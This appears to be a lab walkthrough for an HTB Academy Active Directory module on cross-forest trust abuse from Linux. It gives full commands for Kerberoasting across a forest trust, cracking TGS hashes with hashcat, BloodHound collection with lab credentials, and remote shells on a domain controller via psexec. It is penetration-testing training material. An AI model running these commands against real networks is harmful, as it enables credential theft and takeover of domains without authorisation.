π§Cross-Forest Trust Abuse - from Linux
π― HTB Academy: Active Directory Enumeration & Attacks
π Overview
Cross-Forest Trust Abuse from Linux leverages Impacket toolkit and bloodhound-python to exploit forest trust relationships from Linux attack hosts. This approach provides cross-platform capability for cross-forest Kerberoasting, foreign group membership discovery, and multi-domain compromise using Python-based tools.
π« Cross-Forest Kerberoasting
Attack Methodology
Tool:
impacket-GetUserSPNswith-target-domainflagRequirements: Valid credentials in source domain, bidirectional trust
Target: Service accounts with SPNs in trusted forest
Goal: Obtain TGS tickets for offline cracking
Execution Workflow
SPN Enumeration
# Enumerate SPNs in trusted domain
impacket-GetUserSPNs -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
# Expected output:
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
----------------------------------- -------- ------------------------------------------------------ -------------------------- --------- ----------
MSSQLsvc/sql01.freightlogstics:1433 mssqlsvc CN=Domain Admins,CN=Users,DC=FREIGHTLOGISTICS,DC=LOCAL 2022-03-24 15:47:52.488917 <never>TGS Ticket Extraction
# Request TGS tickets for identified SPNs
impacket-GetUserSPNs -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
# Optional: Direct output to file
impacket-GetUserSPNs -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley -outputfile cross_forest_tgs.txt
# Extract hash for offline cracking:
$krb5tgs$23$*mssqlsvc$FREIGHTLOGISTICS.LOCAL$FREIGHTLOGISTICS.LOCAL/mssqlsvc*$[hash_data]Hash Cracking
# Crack TGS tickets using Hashcat
hashcat -m 13100 cross_forest_tgs.txt /usr/share/wordlists/rockyou.txt
# Alternative with John the Ripper
john --format=krb5tgs cross_forest_tgs.txt --wordlist=/usr/share/wordlists/rockyou.txtπ Foreign Group Membership Discovery
bloodhound-python Multi-Domain Collection
DNS Configuration Requirements
# Edit /etc/resolv.conf for target domain resolution
sudo nano /etc/resolv.conf
# Configuration for INLANEFREIGHT.LOCAL:
#nameserver 1.1.1.1
#nameserver 8.8.8.8
domain INLANEFREIGHT.LOCAL
nameserver 172.16.5.5Data Collection Process
Primary Domain Collection
# Collect BloodHound data from primary domain
bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2
# Expected output:
INFO: Found AD domain: inlanefreight.local
INFO: Found 2 domains in the forest
INFO: Found 559 computers
INFO: Found 2950 users
INFO: Found 183 groups
INFO: Found 2 trustsTrusted Domain Collection
# Update DNS for trusted domain
sudo nano /etc/resolv.conf
# Change to:
domain FREIGHTLOGISTICS.LOCAL
nameserver 172.16.5.238
# Collect data from trusted domain
bloodhound-python -d FREIGHTLOGISTICS.LOCAL -dc ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -c All -u forend@inlanefreight.local -p Klmcargo2Data Packaging
# Compress JSON files for BloodHound import
zip -r cross_forest_bh.zip *.json
# Import into BloodHound GUI for analysis
# Use "Users with Foreign Domain Group Membership" queryπ― HTB Academy Lab Solutions
Lab Environment Setup
# SSH to Linux attack host
ssh htb-student@10.129.230.129
# Password: HTB_@cademy_stdnt!π Question 1: "Kerberoast across the forest trust from the Linux attack host. Submit the name of another account with an SPN aside from MSSQLsvc."
Solution:
# Enumerate all SPNs in trusted domain
impacket-GetUserSPNs -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
# Look for additional SPN accounts beyond mssqlsvc
# Expected accounts may include:
# - HTTP service accounts
# - CIFS service accounts
# - Other SQL service accounts
# - Exchange service accountsπ― Answer: [Additional SPN account name from enumeration]
π« Question 2: "Crack the TGS and submit the cleartext password as your answer."
Solution:
# Request TGS tickets for all identified SPNs
impacket-GetUserSPNs -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley -outputfile kerberoast_hashes.txt
# Crack the extracted hashes
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
# Alternative cracking approach
john --format=krb5tgs kerberoast_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Monitor for successful password crackπ― Answer: [Cleartext password from successful hash crack]
ποΈ Question 3: "Log in to the ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL Domain Controller using the Domain Admin account password submitted for question #2 and submit the contents of the flag.txt file on the Administrator desktop."
Solution:
# Use cracked credentials to access target domain controller
# Method 1: PSExec with obtained credentials
impacket-psexec FREIGHTLOGISTICS.LOCAL/[cracked_account]@ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL
# Method 2: WMIExec alternative
impacket-wmiexec FREIGHTLOGISTICS.LOCAL/[cracked_account]@ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL
# Method 3: SMBExec option
impacket-smbexec FREIGHTLOGISTICS.LOCAL/[cracked_account]@ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL
# From gained shell, retrieve flag:
type C:\Users\Administrator\Desktop\flag.txtπ― Answer: [Contents of flag.txt file]
β οΈ Attack Considerations
DNS Configuration Management
Requirement: bloodhound-python needs FQDN resolution
Solution: Edit
/etc/resolv.conffor each target domainAlternative: Use host file entries for specific DC resolution
Restoration: Backup original DNS settings before modification
Cross-Domain Authentication
Credential format: Use
user@domain.localfor cross-domain authTrust direction: Verify bidirectional trust allows authentication
Tool compatibility: Ensure Impacket tools support target domain format
Session management: Consider authentication session timeouts
Password Reuse Assessment
Similar accounts: Check for matching account names across domains
Password spraying: Test cracked passwords against multiple domains
Administrative overlap: Identify shared administrative accounts
Risk documentation: Document password reuse findings for client reporting
π Key Takeaways
Cross-Platform Forest Attack Capability
Linux Impacket Tools β Cross-Forest Enumeration β Multi-Domain Compromise β Complete Assessment
(GetUserSPNs) (bloodhound-python) (PSExec/WMIExec) (Professional Value)Critical Success Factors
DNS configuration: Proper name resolution for target domains
Tool proficiency: Impacket suite and bloodhound-python mastery
Multi-domain thinking: Understanding cross-forest attack implications
Credential validation: Testing obtained credentials across multiple domains
Professional Impact
Assessment scope: Multi-forest security evaluation capability
Tool flexibility: Linux-based AD attack proficiency
Client value: Comprehensive cross-organizational security assessment
Risk identification: Foreign group membership and trust misconfiguration discovery
π§ Linux-based Cross-Forest Trust Abuse provides comprehensive multi-domain attack capability - demonstrating that sophisticated forest boundary exploitation can be executed effectively from any platform using powerful Python-based tools!
Last updated